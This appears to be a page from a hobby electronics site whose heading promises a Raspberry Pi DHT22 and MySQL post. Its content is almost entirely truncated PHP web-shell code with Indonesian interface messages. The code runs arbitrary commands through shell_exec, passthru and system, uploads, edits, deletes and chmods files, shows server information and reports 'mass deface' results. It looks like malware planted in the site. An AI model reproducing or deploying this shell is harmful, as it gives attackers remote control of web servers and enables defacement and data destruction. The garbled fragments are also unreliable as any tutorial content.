nerdegutta.no
RPi - DHT22 and mySQL
17.12.25
Miscellaneous
&1', $output); return implode(" ", $output); } elseif (function_exists('shell_exec')) { return shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); } return "Command execution disabled."; } function perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; $info = ''; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); $items = scandir($target); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); } function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; header("Location: ?" . http_build_query($params)); exit(); } // --- INITIAL SETUP & PATH --- $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\','/',$path); // --- HANDLERS FOR ACTIONS THAT REDIRECT --- if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if(copy($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)){ redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); }else{ redirect_with_message('error', 'File Gagal Diupload !!', $path); } } if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = isset($_GET['path']) ? $_GET['path'] : getcwd(); switch ($action) { case 'delete': if (file_exists($target_full_path)) { if (delete_recursive($target_full_path)) { redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); } else { redirect_with_message('error', 'Gagal menghapus! Periksa izin (permission).', $current_dir); } } else { redirect_with_message('error', 'Target tidak ditemukan!', $current_dir); } break; case 'chmod_save': $perm = octdec($_POST['perm_value']); if(chmod($target_full_path,$perm)) redirect_with_message('success', 'CHANGE PERMISSION SUCCESS !!', $current_dir); else redirect_with_message('error', 'Change Permission Gagal !!', $current_dir); break; case 'rename_save': $new_name_base = sanitizeFilename($_POST['new_name_value']); $new_full_path = dirname($target_full_path).'/'.$new_name_base; if(rename($target_full_path, $new_full_path)) redirect_with_message('success', 'CHANGE NAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'Change Name Gagal !!', $current_dir); break; case 'edit_save': if(is_writable($target_full_path)) { if(file_put_contents($target_full_path,$_POST['src_content'])) redirect_with_message('success', 'EDIT FILE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; } } if(isset($_GET['create_new'])) { $create_name = sanitizeFilename($_POST['create_name']); $target_path_new = $path . '/' . $create_name; if ($_POST['create_type'] == 'file') { if (file_put_contents($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (mkdir($target_path_new)) redirect_with_message('success', 'Folder Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); } } ?>
| User / IP | : |
| Host / Server | : |
| System | : |
'.$cmd_output.''; } break; case 'upload_form': echo '
'.$mass_deface_results.''; break; case 'create_form': echo '
Anda YAKIN ingin menghapus item ini?
Tindakan ini tidak bisa dibatalkan.
File atau folder tidak ditemukan!
'; } break; case 'view_file': echo "File tidak writable! Periksa permission.
'; echo ''; } break; case 'rename_form': echo "